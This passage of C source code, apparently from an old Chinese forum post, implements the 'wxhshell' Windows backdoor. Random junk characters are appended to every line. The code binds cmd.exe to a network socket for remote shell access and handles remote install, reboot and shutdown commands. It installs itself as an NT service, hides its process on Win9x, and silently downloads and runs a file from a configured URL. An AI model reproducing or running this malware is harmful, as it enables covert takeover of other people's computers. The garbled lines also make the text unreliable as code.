      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P082.:q"  
    break; =[K)<5,@  
  } i f<<lq  
  // 安装 D'`"_  
  case 'i': { i+[3o@  
    if(Install()) M91lV(Z   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0Z7o\-J  
    else n6-Ic',;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?GNF=#=M  
    break; d `kM0C  
    } T4=3VrS  
  // 卸载 6eT'[Umx  
  case 'r': { }#G"!/ZA0:  
    if(Uninstall()) @pG lWw9*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x"8ey|@&,  
    else 6rQpK&Jx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NceB'YG|  
    break; +z=%89GJ  
    } F>QT|  
  // 显示 wxhshell 所在路径 ES\Q5)t/fo  
  case 'p': { *fl{Y(_OO  
    char svExeFile[MAX_PATH]; [Hj'nA^  
    strcpy(svExeFile,"\n\r"); e$EF% cKH  
      strcat(svExeFile,ExeFile); A3$aMCwKd  
        send(wsh,svExeFile,strlen(svExeFile),0); 0R}Sw[M.  
    break; |R;l5ZKvV  
    } ZSRR lkU  
  // 重启 V`\f+Uu  
  case 'b': { hO/5>Zv?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XU_,Z/Yw_  
    if(Boot(REBOOT)) 'dc+M9u)_q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7DLs;sD  
    else { >4/L-y+  
    closesocket(wsh); x$n~f:1Y  
    ExitThread(0); &QTeGn  
    } V[Rrst0yo  
    break; Q+d.%qhc  
    } }xb_s  
  // 关机 t @(9ga(  
  case 'd': { TH>?Gi) "  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;T.s!B$Uu  
    if(Boot(SHUTDOWN)) t0bhXFaiE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;tp]^iB#  
    else { m-ph}  
    closesocket(wsh); 1BMB?I  
    ExitThread(0); `z}vONXpAX  
    } N^\2 _T  
    break; z!s. 9  
    } GsIwY {d  
  // 获取shell dK}WM46$   
  case 's': { xHJ8?bD p  
    CmdShell(wsh); m_m8c8{Y  
    closesocket(wsh); ;%u_ ;,((  
    ExitThread(0); Q(|PZn g  
    break; rGnI(m.  
  } id;#{O$  
  // 退出 UzgA26;  
  case 'x': { l'*^$qc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ot`LZ"H:  
    CloseIt(wsh); <0u\dU  
    break; oX'0o 'c  
    } e1 x^PT  
  // 离开 b , juF2  
  case 'q': { H2qf'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;rB6u_5"I.  
    closesocket(wsh); E/mubA(&  
    WSACleanup(); *jk3 \KaoV  
    exit(1); Jd5\&ma  
    break; ;V_.[aX  
        } @$qOW  
  } aUH\Ee^M:R  
  } sl/=g   
XE_ir Et  
  // 提示信息 >~I#JQ%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0b/i r2  
} <9P4}`%)3  
  } o:2Q2+d  
\6{krn|  
  return; 1T ( u  
} Qg(Z{V  
`79[+0hL'  
// shell模块句柄 wfgqgPo!v  
int CmdShell(SOCKET sock) ~C&*.ZR  
{ z{S:X:X  
STARTUPINFO si; GCDwWCxh  
ZeroMemory(&si,sizeof(si)); vr=~M?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]' Y|N l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Qa5n\HX$  
PROCESS_INFORMATION ProcessInfo; 2 {bhA5L  
char cmdline[]="cmd"; `@[l\.Vt:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5%*w<6<_z  
  return 0; U-i.(UyZ  
} .XXW|{  
q\%cFB}  
// 自身启动模式 v??TJ^1  
int StartFromService(void) ,57$N&w  
{ 0}{'C5  
typedef struct E<>*(x/\e  
{ _AFQ>j  
  DWORD ExitStatus; 7BR8/4gcPu  
  DWORD PebBaseAddress; rcV-_+KE(B  
  DWORD AffinityMask; ='Q{R*u  
  DWORD BasePriority; e  ^Ds  
  ULONG UniqueProcessId; (hIF]>,kl  
  ULONG InheritedFromUniqueProcessId; ?38lHn`FyQ  
}   PROCESS_BASIC_INFORMATION; >nzu],U  
3 iRA$C-p  
PROCNTQSIP NtQueryInformationProcess; #]CFA9 z  
41G5!=i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L*h{'<Bz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ~*M$O&  
~. YWV  
  HANDLE             hProcess; hn.bau[  
  PROCESS_BASIC_INFORMATION pbi; {o0qUX>[  
!d,8kG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TX}T|ri  
  if(NULL == hInst ) return 0; W3r?7!~  
OoBCY-gj*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZE?f!ifp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &gtG~mp<L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q8D&tJg  
&;E5[jO^D  
  if (!NtQueryInformationProcess) return 0; Tlq-m2]  
eg/<[ A:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )?=YT  
  if(!hProcess) return 0; %' $o"  
=-KMb`xT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H#i{?RM@l  
vAb^]d   
  CloseHandle(hProcess); S?ujRp  
7a4o1;l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m/B6[  
if(hProcess==NULL) return 0; 6"/WZmOp  
9Fo fr  
HMODULE hMod; :#5xA?=* S  
char procName[255]; j}1zdA  
unsigned long cbNeeded; P>i%7:OMZA  
\Q~8?p+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  YZc>dE  
2I/xJ+  
  CloseHandle(hProcess); K+*Q@R D  
0AK,&nbF  
if(strstr(procName,"services")) return 1; // 以服务启动 |re}6#TgcT  
O.G'?m<: #  
  return 0; // 注册表启动 n">u mM;Eh  
} +Y"r71|A6+  
(*p , T  
// 主模块 ;0rGiWC#  
int StartWxhshell(LPSTR lpCmdLine) cD*}..-/4  
{ fKH7xu!V4+  
  SOCKET wsl; 3_Cp%~Gi-_  
BOOL val=TRUE; bmgncwlz  
  int port=0; XfPFo6  
  struct sockaddr_in door; kOO Gw:/  
fyTAou6hI  
  if(wscfg.ws_autoins) Install(); in+}/mwfC  
;Uc0o!1  
port=atoi(lpCmdLine); j#r6b]k(Hv  
sUZX }  
if(port<=0) port=wscfg.ws_port; }KUd7[s  
hu_ ^OlF  
  WSADATA data; K 0gI):  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dzLQI}89+k  
U,#yqER'r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +#U|skl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); De7T s  
  door.sin_family = AF_INET; Zl 9aDg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :B3[:MpL}  
  door.sin_port = htons(port); Q!- 0xlx  
lC:k7<0Ji  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { --;@2:lg{  
closesocket(wsl); C~fjWz' V  
return 1; hfpJ+[  
} Xq'cA9v=$J  
! cKz7?w  
  if(listen(wsl,2) == INVALID_SOCKET) { zp\8_U @  
closesocket(wsl); P96pm6H_;  
return 1; X%yO5c\l2  
} l/;X?g5+  
  Wxhshell(wsl); 4iSa7YqhBT  
  WSACleanup(); }Zl&]e  
f{SB1M   
return 0; zdXkR]  
dJ"iEb|4  
} Y5fLmPza  
DNGvpKY@  
// 以NT服务方式启动 8r3A~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P[s8JDqu  
{  >S$Z  
DWORD   status = 0; [+O"<Ua  
  DWORD   specificError = 0xfffffff; a0r"N[&  
THmb6^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LC1 (Xb f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !i=nSqW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >0Q|nCx  
  serviceStatus.dwWin32ExitCode     = 0; cuOvN"nuNj  
  serviceStatus.dwServiceSpecificExitCode = 0; v\(2&*  
  serviceStatus.dwCheckPoint       = 0; R<B7K?SxV~  
  serviceStatus.dwWaitHint       = 0; n3J53| %v  
^eW}XRI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^>"z@$|\:  
  if (hServiceStatusHandle==0) return; N},n `Yl.  
K~ ;45Z2  
status = GetLastError(); 2NB L}x  
  if (status!=NO_ERROR) Nk {XdrY  
{ 3sd"nR?aX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZvcJK4hi  
    serviceStatus.dwCheckPoint       = 0; ?-1r$31p  
    serviceStatus.dwWaitHint       = 0; Nj(" |`9"  
    serviceStatus.dwWin32ExitCode     = status; JEE{QjTh  
    serviceStatus.dwServiceSpecificExitCode = specificError; `a9L%z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #s!'+|2n  
    return; 7RZh<A>m  
  } _{M\Bs2<  
CKA;.sh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZyEHzM{$  
  serviceStatus.dwCheckPoint       = 0; `5H$IP1XhA  
  serviceStatus.dwWaitHint       = 0; MxBTX4ES  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OgX6'E\E  
} ak:c rrkx  
u ElAnrm  
// 处理NT服务事件,比如:启动、停止 iOG[>u0h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &N3Y|2  
{ a ^%"7Ri  
switch(fdwControl) a')|1DnR  
{ W\18{mbuy  
case SERVICE_CONTROL_STOP: iDf,e Kk$'  
  serviceStatus.dwWin32ExitCode = 0; ['ksP-=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^FnfJ:  
  serviceStatus.dwCheckPoint   = 0; cHa]xmy%r'  
  serviceStatus.dwWaitHint     = 0; cW+t#>' r  
  { &d'Awvy0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , lJ  v  
  } itzyCw2|#  
  return; HI@syFaJM  
case SERVICE_CONTROL_PAUSE: h&kZjQ&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (!:cen~|[  
  break; vVE7fq3  
case SERVICE_CONTROL_CONTINUE: u a\,->  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7==f\%,  
  break; ,~?YBLw@c  
case SERVICE_CONTROL_INTERROGATE: 77Bgl4P  
  break; N:9>dpP}O  
}; mq%<6/Y U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0BI5q  
} kCXdGhb  
[}fv  dW  
// 标准应用程序主函数 tlA"B{7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |`jjHuQ;  
{ ~/_SMPLo  
oP4GEr  
// 获取操作系统版本 ox ;  
OsIsNt=GetOsVer(); SI8%M=P>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *@TZ+{t  
|c`w'W?C6  
  // 从命令行安装 ?:Bv iF);/  
  if(strpbrk(lpCmdLine,"iI")) Install(); yZ!T8"mz{  
72,rFYvpK  
  // 下载执行文件 _ A 0w[n  
if(wscfg.ws_downexe) { )>c>oMgl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [g2;N,V#  
  WinExec(wscfg.ws_filenam,SW_HIDE); m:hY`[ f6  
} Dnc<sd;  
4npqJ1  
if(!OsIsNt) { 6_4D9 W  
// 如果时win9x,隐藏进程并且设置为注册表启动 nF5qw>t#  
HideProc(); pNRk.m]  
StartWxhshell(lpCmdLine); P<K){V  
} |$7vI&m  
else 5?Wto4j  
  if(StartFromService()) "5A&_E }3  
  // 以服务方式启动 [7 YPl9  
  StartServiceCtrlDispatcher(DispatchTable); <ioO,oS'  
else Zec <m8~  
  // 普通方式启动 Q%-di=  
  StartWxhshell(lpCmdLine); > 0<)=  
Vn~UB#]'3  
return 0; Oq3A#6~  
}
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只看该作者 1 发表于: 2006-10-10
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